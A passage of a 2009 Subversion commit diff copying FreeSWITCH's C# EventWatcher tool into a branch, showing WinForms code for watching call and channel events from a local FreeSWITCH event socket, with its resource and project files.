+            Black,
+            Red, 
+            Green,
+            Blue
+        }
+
+
+
+        [DllImport("user32.dll")]
+        public static extern bool LockWindowUpdate(IntPtr hWndLock);
+
+        private void AddText(string text)
+        {
+            text = text.Replace("\\", "\\\\").Replace("{", "\\{").Replace("}", "\\}");
+            string colored = string.Empty;
+            bool inQ = false;
+            bool bold = false;
+            foreach (char ch in text)
+            {
+                Color color = Color.None;
+                if (inQ)
+                {
+                    if (ch == '"')
+                    {
+                        inQ = false;
+                        color = Color.Black;
+                    }
+                }
+                else if (char.IsLetter(ch))
+                    color = Color.Black;
+                else if (Char.IsDigit(ch))
+                    color = Color.Blue;
+                else if (ch == '"')
+                {
+                    inQ = true;
+                    color = Color.Green;
+                }
+                else
+                {
+                    bold = true;
+                    color = Color.Red;
+                }
+
+                if (color != Color.None)
+                    SetColor(ref colored, color, bold);
+
+                if (ch == ')')
+                    colored += ' ';
+                colored += ch;
+                if (ch == ')')
+                    colored += ' ';
+            }
+            sb.Length = sb.Length - 5;
+            sb.AppendLine(colored);
+            sb.Append("\\par\\par}");
+            LockWindowUpdate(tb.Handle);
+            tb.Rtf = sb.ToString();
+            tb.SelectionStart = tb.Text.Length;
+            tb.ScrollToCaret();
+            LockWindowUpdate(IntPtr.Zero);
+            //ScrollToEnd(tb);
+            
+        }
+
+        private void SetColor(ref string text, Color color, bool bold)
+        {
+            if (color != _currentColor)
+            {
+                text += "\\cf" + (int) color;
+                //if (bold)
+                //    text += "\\b";
+                text += " ";
+                _currentColor = color;
+            }
+        }
+
+        private void OnSwitchEvent(EventBase theEvent)
+        {
+            AddText(theEvent.ToString());
+
+            ChannelEvent evt = theEvent as ChannelEvent;
+            if (evt == null)
+                return;
+
+            TreeNode node = tv.Nodes[evt.UniqueId];
+            if (node == null)
+            {
+                tv.Nodes.Add(evt.UniqueId, evt.ToString());
+                node = tv.Nodes[evt.UniqueId];
+                node.Tag = evt;
+                node.ToolTipText = evt.ToString().Replace(".", "\r\n");
+            }
+            node.Nodes.Add(new TreeNode(evt.ToString()));
+        }
+
+        private void toolStripLabel1_Click(object sender, EventArgs e)
+        {
+            tv.Nodes.Clear();
+            ClearTb();
+        }
+    }
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/ChannelWatcher.resx

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/ChannelWatcher.resx (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/EventWatcher/ChannelWatcher.resx) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/ChannelWatcher.resx	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/ChannelWatcher.resx	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,123 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <metadata name="toolStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
+    <value>17, 17</value>
+  </metadata>
+</root>
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/EventWatcher.csproj

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/EventWatcher.csproj (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/EventWatcher/EventWatcher.csproj) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/EventWatcher.csproj	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/EventWatcher.csproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,106 @@
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProductVersion>8.0.50727</ProductVersion>
+    <SchemaVersion>2.0</SchemaVersion>
+    <ProjectGuid>{E65ABA5F-A578-4E3C-989D-0FE4E459C03D}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AppDesignerFolder>Properties</AppDesignerFolder>
+    <RootNamespace>EventWatcher</RootNamespace>
+    <AssemblyName>EventWatcher</AssemblyName>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+    <Reference Include="System.Data" />
+    <Reference Include="System.Deployment" />
+    <Reference Include="System.Design" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+    <Reference Include="System.Xml" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Call.cs" />
+    <Compile Include="CallManager.cs" />
+    <Compile Include="CallStateEvent.cs" />
+    <Compile Include="ChannelWatcher.cs">
+      <SubType>Form</SubType>
+    </Compile>
+    <Compile Include="ChannelWatcher.Designer.cs">
+      <DependentUpon>ChannelWatcher.cs</DependentUpon>
+    </Compile>
+    <Compile Include="Extension.cs" />
+    <Compile Include="Form1.cs">
+      <SubType>Form</SubType>
+    </Compile>
+    <Compile Include="Form1.Designer.cs">
+      <DependentUpon>Form1.cs</DependentUpon>
+    </Compile>
+    <Compile Include="LabelTextBox.cs">
+      <SubType>Component</SubType>
+    </Compile>
+    <Compile Include="Program.cs" />
+    <Compile Include="Properties\AssemblyInfo.cs" />
+    <EmbeddedResource Include="ChannelWatcher.resx">
+      <SubType>Designer</SubType>
+      <DependentUpon>ChannelWatcher.cs</DependentUpon>
+    </EmbeddedResource>
+    <EmbeddedResource Include="Form1.resx">
+      <SubType>Designer</SubType>
+      <DependentUpon>Form1.cs</DependentUpon>
+    </EmbeddedResource>
+    <EmbeddedResource Include="Properties\Resources.resx">
+      <Generator>ResXFileCodeGenerator</Generator>
+      <LastGenOutput>Resources.Designer.cs</LastGenOutput>
+      <SubType>Designer</SubType>
+    </EmbeddedResource>
+    <Compile Include="Properties\Resources.Designer.cs">
+      <AutoGen>True</AutoGen>
+      <DependentUpon>Resources.resx</DependentUpon>
+      <DesignTime>True</DesignTime>
+    </Compile>
+    <None Include="Properties\Settings.settings">
+      <Generator>SettingsSingleFileGenerator</Generator>
+      <LastGenOutput>Settings.Designer.cs</LastGenOutput>
+    </None>
+    <Compile Include="Properties\Settings.Designer.cs">
+      <AutoGen>True</AutoGen>
+      <DependentUpon>Settings.settings</DependentUpon>
+      <DesignTimeSharedInput>True</DesignTimeSharedInput>
+    </Compile>
+  </ItemGroup>
+  <ItemGroup>
+    <ProjectReference Include="..\FreeSwitchEventSocket\FreeSwitch.EventSocket.csproj">
+      <Project>{3F8895F6-F710-4323-B96A-4EFB6BC97E08}</Project>
+      <Name>FreeSwitch.EventSocket</Name>
+    </ProjectReference>
+  </ItemGroup>
+  <ItemGroup>
+    <Content Include="ReadMePlease.txt" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. 
+       Other similar extension points exist, see Microsoft.Common.targets.
+  <Target Name="BeforeBuild">
+  </Target>
+  <Target Name="AfterBuild">
+  </Target>
+  -->
+</Project>
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Extension.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Extension.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/EventWatcher/Extension.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Extension.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Extension.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,162 @@
+using System;
+using System.Collections.Generic;
+
+namespace EventWatcher
+{
+    public delegate void ExtensionHandler(Extension extension);
+    public delegate void CallHandler(Extension extension, Call call);
+    public delegate Call CallStateSetter(string id, CallState state, string destination);
+
+    /// <summary>
+    /// Used to set states for the extension.
+    /// We are using this method since we do not want anything else
+    /// but the CallMgr to be able to set stuff.
+    /// </summary>
+    /// <param name="forwardAll">null if it has changed, else the new forward destination</param>
+    /// <param name="forwardBusy">null if it has changed, else the new forward destination</param>
+    /// <param name="forwardNoAnswer">null if it has changed, else the new forward destination</param>
+    public delegate void ForwardSetter(string forwardAll, string forwardBusy, string forwardNoAnswer);
+
+    public class ExtensionSetters
+    {
+        public CallStateSetter callState;
+        public ForwardSetter forwardSetter;
+    }
+
+    /// <summary>
+    /// Class representing an extension.
+    /// </summary>
+    [Serializable]
+    public class Extension
+    {
+        private readonly string _address = string.Empty;
+        private readonly IDictionary<string, Call> _calls = new Dictionary<string, Call>();
+        private readonly string _destination = string.Empty;
+        private string _forwardAll = string.Empty;
+        private string _forwardBusy = string.Empty;
+        private string _forwardNoAnswer = string.Empty;
+        private ExtensionSetters _handler;
+
+        public Extension(string address)
+        {
+            _address = address;
+        }
+
+        public Extension(string address, ExtensionSetters setters)
+        {
+            _address = address;
+            Handler = setters;
+        }
+
+        public bool IsBusy
+        {
+            get
+            {
+                foreach (KeyValuePair<string, Call> pair in _calls)
+                {
+                    if (pair.Value.State != CallState.Disconnected
+                        && pair.Value.State != CallState.Held)
+                        return false;
+                }
+                return true;
+            }
+        }
+
+        /// <summary>
+        /// Determines if this extension is forwarded in any way
+        /// </summary>
+        public bool IsForwarded
+        {
+            get
+            {
+                return _forwardNoAnswer != string.Empty
+                       || _forwardBusy != string.Empty
+                       || _forwardAll != string.Empty;
+            }
+        }
+
+        public string ForwardAll
+        {
+            get { return _forwardAll; }
+        }
+
+        public string ForwardBusy
+        {
+            get { return _forwardBusy; }
+        }
+
+        public string ForwardNoAnswer
+        {
+            get { return _forwardNoAnswer; }
+        }
+
+        public string Destination
+        {
+            get { return _destination; }
+        }
+
+        public string Address
+        {
+            get { return _address; }
+        }
+
+        public ExtensionSetters Handler
+        {
+            get { return _handler; }
+            set
+            {
+                if (value != null)
+                    //Check.Require(_handler == null, "Handler can only be assigned one time.");
+
+                    _handler = value;
+                if (value != null)
+                {
+                    value.callState = SetCallState;
+                    value.forwardSetter = SetForward;
+                }
+            }
+        }
+
+        private Call SetCallState(string id, CallState state, string destination)
+        {
+            bool wasBusy = IsBusy;
+
+            Call call;
+            if (!_calls.ContainsKey(id))
+                call = new Call(id);
+            else
+                call = _calls[id];
+
+            call.SetCallState(state);
+            call.SetDestination(destination);
+
+            if (CallChanged != null)
+                CallChanged(this, call);
+
+            if (state == CallState.Disconnected)
+                _calls.Remove(id);
+
+
+            if (wasBusy != IsBusy && BusyStateChanged != null)
+                BusyStateChanged(this);
+
+            return call;
+        }
+
+        private void SetForward(string forwardAll, string forwardBusy, string forwardNoAnswer)
+        {
+            if (forwardAll != null)
+                _forwardAll = forwardAll;
+            if (forwardBusy != null)
+                _forwardBusy = forwardBusy;
+            if (forwardNoAnswer != null)
+                _forwardNoAnswer = forwardNoAnswer;
+            if (ForwardChanged != null)
+                ForwardChanged(this);
+        }
+
+        public event ExtensionHandler BusyStateChanged;
+        public event CallHandler CallChanged;
+        public event ExtensionHandler ForwardChanged;
+    }
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Form1.Designer.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Form1.Designer.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/EventWatcher/Form1.Designer.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Form1.Designer.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Form1.Designer.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,212 @@
+namespace EventWatcher
+{
+    partial class Form1
+    {
+        /// <summary>
+        /// Required designer variable.
+        /// </summary>
+        private System.ComponentModel.IContainer components = null;
+
+        /// <summary>
+        /// Clean up any resources being used.
+        /// </summary>
+        /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
+        protected override void Dispose(bool disposing)
+        {
+            if (disposing && (components != null))
+            {
+                components.Dispose();
+            }
+            base.Dispose(disposing);
+        }
+
+        #region Windows Form Designer generated code
+
+        /// <summary>
+        /// Required method for Designer support - do not modify
+        /// the contents of this method with the code editor.
+        /// </summary>
+        private void InitializeComponent()
+        {
+            this.panel1 = new System.Windows.Forms.Panel();
+            this.log = new System.Windows.Forms.TextBox();
+            this.info = new System.Windows.Forms.RichTextBox();
+            this.lv = new System.Windows.Forms.ListView();
+            this.colAddress = new System.Windows.Forms.ColumnHeader();
+            this.colId = new System.Windows.Forms.ColumnHeader();
+            this.colPbxId = new System.Windows.Forms.ColumnHeader();
+            this.colState = new System.Windows.Forms.ColumnHeader();
+            this.colCaller = new System.Windows.Forms.ColumnHeader();
+            this.colOriginator = new System.Windows.Forms.ColumnHeader();
+            this.colOrginatee = new System.Windows.Forms.ColumnHeader();
+            this.lvAll = new System.Windows.Forms.ListView();
+            this.from = new System.Windows.Forms.ColumnHeader();
+            this.To = new System.Windows.Forms.ColumnHeader();
+            this.ChannelId = new System.Windows.Forms.ColumnHeader();
+            this.SessionId = new System.Windows.Forms.ColumnHeader();
+            this.State = new System.Windows.Forms.ColumnHeader();
+            this.panel1.SuspendLayout();
+            this.SuspendLayout();
+            // 
+            // panel1
+            // 
+            this.panel1.Controls.Add(this.log);
+            this.panel1.Controls.Add(this.info);
+            this.panel1.Dock = System.Windows.Forms.DockStyle.Right;
+            this.panel1.Location = new System.Drawing.Point(627, 0);
+            this.panel1.Name = "panel1";
+            this.panel1.Size = new System.Drawing.Size(293, 546);
+            this.panel1.TabIndex = 11;
+            // 
+            // log
+            // 
+            this.log.Dock = System.Windows.Forms.DockStyle.Bottom;
+            this.log.Location = new System.Drawing.Point(0, 526);
+            this.log.Name = "log";
+            this.log.Size = new System.Drawing.Size(293, 20);
+            this.log.TabIndex = 11;
+            // 
+            // info
+            // 
+            this.info.Dock = System.Windows.Forms.DockStyle.Fill;
+            this.info.Location = new System.Drawing.Point(0, 0);
+            this.info.Name = "info";
+            this.info.Size = new System.Drawing.Size(293, 546);
+            this.info.TabIndex = 10;
+            this.info.Text = "";
+            // 
+            // lv
+            // 
+            this.lv.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
+            this.colAddress,
+            this.colId,
+            this.colPbxId,
+            this.colState,
+            this.colCaller,
+            this.colOriginator,
+            this.colOrginatee});
+            this.lv.Dock = System.Windows.Forms.DockStyle.Top;
+            this.lv.Location = new System.Drawing.Point(0, 0);
+            this.lv.Name = "lv";
+            this.lv.Size = new System.Drawing.Size(627, 152);
+            this.lv.TabIndex = 12;
+            this.lv.UseCompatibleStateImageBehavior = false;
+            this.lv.View = System.Windows.Forms.View.Details;
+            // 
+            // colAddress
+            // 
+            this.colAddress.Text = "Anknytning";
+            this.colAddress.Width = 65;
+            // 
+            // colId
+            // 
+            this.colId.Text = "Id";
+            this.colId.Width = 26;
+            // 
+            // colPbxId
+            // 
+            this.colPbxId.Text = "PbxId";
+            this.colPbxId.Width = 230;
+            // 
+            // colState
+            // 
+            this.colState.Text = "Status";
+            this.colState.Width = 50;
+            // 
+            // colCaller
+            // 
+            this.colCaller.Text = "Caller";
+            this.colCaller.Width = 62;
+            // 
+            // colOriginator
+            // 
+            this.colOriginator.Text = "Originator";
+            this.colOriginator.Width = 72;
+            // 
+            // colOrginatee
+            // 
+            this.colOrginatee.Text = "Orginatee";
+            this.colOrginatee.Width = 116;
+            // 
+            // lvAll
+            // 
+            this.lvAll.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
+            this.from,
+            this.To,
+            this.ChannelId,
+            this.SessionId,
+            this.State});
+            this.lvAll.Dock = System.Windows.Forms.DockStyle.Fill;
+            this.lvAll.Location = new System.Drawing.Point(0, 152);
+            this.lvAll.Name = "lvAll";
+            this.lvAll.Size = new System.Drawing.Size(627, 394);
+            this.lvAll.TabIndex = 13;
+            this.lvAll.UseCompatibleStateImageBehavior = false;
+            this.lvAll.View = System.Windows.Forms.View.Details;
+            this.lvAll.SelectedIndexChanged += new System.EventHandler(this.lvAll_SelectedIndexChanged);
+            this.lvAll.ItemSelectionChanged += new System.Windows.Forms.ListViewItemSelectionChangedEventHandler(this.lvAll_ItemSelectionChanged);
+            // 
+            // from
+            // 
+            this.from.Text = "Fr\xE5n";
+            // 
+            // To
+            // 
+            this.To.Text = "Till";
+            this.To.Width = 84;
+            // 
+            // ChannelId
+            // 
+            this.ChannelId.Text = "ChannelId";
+            this.ChannelId.Width = 282;
+            // 
+            // SessionId
+            // 
+            this.SessionId.Text = "SessionId";
+            this.SessionId.Width = 318;
+            // 
+            // State
+            // 
+            this.State.Text = "State";
+            this.State.Width = 99;
+            // 
+            // Form1
+            // 
+            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
+            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+            this.ClientSize = new System.Drawing.Size(920, 546);
+            this.Controls.Add(this.lvAll);
+            this.Controls.Add(this.lv);
+            this.Controls.Add(this.panel1);
+            this.Name = "Form1";
+            this.Text = "Form1";
+            this.Load += new System.EventHandler(this.Form1_Load);
+            this.panel1.ResumeLayout(false);
+            this.panel1.PerformLayout();
+            this.ResumeLayout(false);
+
+        }
+
+        #endregion
+
+        private System.Windows.Forms.Panel panel1;
+        private System.Windows.Forms.TextBox log;
+        private System.Windows.Forms.RichTextBox info;
+        private System.Windows.Forms.ListView lv;
+        private System.Windows.Forms.ColumnHeader colAddress;
+        private System.Windows.Forms.ColumnHeader colId;
+        private System.Windows.Forms.ColumnHeader colPbxId;
+        private System.Windows.Forms.ColumnHeader colState;
+        private System.Windows.Forms.ColumnHeader colCaller;
+        private System.Windows.Forms.ColumnHeader colOriginator;
+        private System.Windows.Forms.ColumnHeader colOrginatee;
+        private System.Windows.Forms.ListView lvAll;
+        private System.Windows.Forms.ColumnHeader from;
+        private System.Windows.Forms.ColumnHeader To;
+        private System.Windows.Forms.ColumnHeader ChannelId;
+        private System.Windows.Forms.ColumnHeader SessionId;
+        private System.Windows.Forms.ColumnHeader State;
+
+    }
+}
+

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Form1.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Form1.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/EventWatcher/Form1.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Form1.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Form1.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,235 @@
+using System;
+using System.Diagnostics;
+using System.Drawing;
+using System.Reflection;
+using System.Windows.Forms;
+using FreeSwitch.EventSocket;
+using FreeSwitch.EventSocket.Commands;
+using FreeSwitch.EventSocket.General;
+
+namespace EventWatcher
+{
+    public partial class Form1 : Form
+    {
+        private EventManager _eventMgr;
+        private CallManager _callMgr;
+
+        public Form1()
+        {
+            InitializeComponent();
+            _eventMgr = new EventManager(null);
+            _callMgr = new CallManager(_eventMgr);
+            _callMgr.OnCallState += OnCallState;
+            _callMgr.ExtensionAdded += OnExtensionAdded;
+            _callMgr.ExtensionChanged += OnExtensionChanged;
+
+
+        }
+
+        private void OnExtensionAdded(Extension extension)
+        {
+            //throw new NotImplementedException();
+        }
+
+        private void OnExtensionChanged(Extension extension, Call call)
+        {
+            if (lv.InvokeRequired)
+                BeginInvoke((MethodInvoker)delegate { OnExtensionChangedX(extension, call); });
+            else
+                OnExtensionChangedX(extension, call);
+        }
+
+        private void OnExtensionChangedX(Extension extension, Call call)
+        {
+            ListViewItem item = null;
+            foreach (ListViewItem item2 in lv.Items)
+            {
+                if (String.Compare(item2.Name, extension.Address, true) == 0)
+                {
+                    item = item2;
+                    break;
+                }
+            }
+            if (item == null)//(!lv.Items.ContainsKey(extension.Address))
+            {
+                item = lv.Items.Add(extension.Address, extension.Address, 0);
+                item.Tag = extension;
+                item.SubItems.Add(call.Id);
+                item.SubItems.Add(call.State.ToString());
+                item.SubItems.Add(call.PreviousState.ToString());
+                item.SubItems.Add("");
+                item.SubItems.Add(extension.Destination);                
+            }
+            else
+            {
+                item.SubItems[2].Text = call.State.ToString();
+                item.SubItems[3].Text = call.PreviousState.ToString();
+            }
+        }
+
+        private void OnExtensionCallState(Extension e)
+        {
+            
+        }
+        private void OnCallState(CallManager mgr, CallStateEvent cs)
+        {
+            if (lv.InvokeRequired)
+                BeginInvoke((MethodInvoker)delegate { OnCallStateX(mgr, cs); });
+            else
+                OnCallStateX(mgr, cs);
+        }
+
+        private void OnCallStateX(CallManager mgr, CallStateEvent cs)
+        {
+            ListViewItem item;
+            if (!lv.Items.ContainsKey(cs.PbxId))
+            {
+                item = lv.Items.Add(cs.PbxId, cs.From, 0);
+                item.Tag = cs;
+                item.SubItems.Add(cs.CallId);
+                item.SubItems.Add(cs.PbxId);
+                item.SubItems.Add(cs.State.ToString());
+                item.SubItems.Add(cs.From);
+                item.SubItems.Add(cs.Destination);
+            }
+            else
+                item = lv.Items[cs.PbxId];
+
+            item.SubItems[1].Text = cs.CallId;
+            item.SubItems[3].Text = cs.State.ToString();
+            item.SubItems[4].Text = cs.Destination;
+
+            if (cs.State == CallState.Disconnected)
+                lv.Items.RemoveByKey(cs.PbxId);
+        }
+
+        private void Form1_Load(object sender, EventArgs e)
+        {
+            _eventMgr.Password = "ClueCon";
+            _eventMgr.Start("localhost");
+            _eventMgr.Subscribe(new Events(Event.All));
+            _eventMgr.EventReceived += OnPreSwitchEvent;
+        }
+
+        private void OnPreSwitchEvent(EventBase theEvent)
+        {
+            _callMgr.OnSwitchEvents(theEvent);
+            if (lvAll.InvokeRequired)
+                BeginInvoke((MethodInvoker)delegate { OnSwitchEvent(theEvent); });
+            else
+                OnSwitchEvent(theEvent);
+        }
+
+
+        private string DisplayProperties(object o)
+        {
+            return DisplayProperties(o, 0);
+        }
+
+        private string DisplayProperties(object o, int spaces)
+        {
+            PropertyInfo[] pis = o.GetType().GetProperties();
+            string info = string.Empty;
+            foreach (PropertyInfo pi in pis)
+            {
+                if (pi.PropertyType == typeof (ChannelInfo) || pi.PropertyType == typeof (PartyInfo))
+                {
+                    info += pi.Name.PadLeft(spaces + pi.Name.Length) + "\r\n";
+                    info += DisplayProperties(pi.GetValue(o, null), spaces + 2);
+                }
+                else
+                    info += pi.Name.PadLeft(spaces + pi.Name.Length) + ": " + pi.GetValue(o, null) + "\r\n";
+            }
+            return info;
+        }
+
+        private void OnSwitchEvent(EventBase theEvent)
+        {
+            EventChannelState e = theEvent as EventChannelState;
+            if (e != null)
+            {
+
+                EventChannelState channelEvent = theEvent as EventChannelState;
+                if (channelEvent == null)
+                    return;
+
+                //OnSwitchEvents(theEvent);
+
+                ListViewItem item;
+                item = lvAll.Items.Add(channelEvent.ChannelInfo.Address);
+                item.Tag = channelEvent;
+                item.SubItems.Add(channelEvent.Originator.UserName);
+                item.SubItems.Add(channelEvent.UniqueId);
+                item.SubItems.Add(channelEvent.Caller.UniqueId);
+                if (channelEvent.Name == "CHANNEL_STATE")
+                    item.SubItems.Add(e.ChannelInfo.State.ToString());
+                else
+                    item.SubItems.Add(e.Name);
+
+                if (e.GetType() == typeof(EventCodec) || theEvent.GetType() == typeof(EventChannelExecute)
+                    || e.Originator.DestinationNumber == string.Empty)
+                {
+                    item.ForeColor = Color.Gray;
+                }
+
+            }
+            log.Text = theEvent.Name;
+        }
+
+        private void AddEvent(ListBox box, ChannelEvent e)
+        {
+            box.Items.Insert(0, new Wrapper(e));
+        }
+
+        private void lvAll_SelectedIndexChanged(object sender, EventArgs e)
+        {
+            /*
+            if (lvAll.SelectedItems.Count == 0)
+                return;
+            ListViewItem itm = lvAll.SelectedItems[0];
+            MessageBox.Show(DisplayProperties(itm.Tag));
+             * */
+        }
+
+        private void lvAll_ItemSelectionChanged(object sender, ListViewItemSelectionChangedEventArgs e)
+        {
+            if (lvAll.SelectedItems.Count == 0)
+                return;
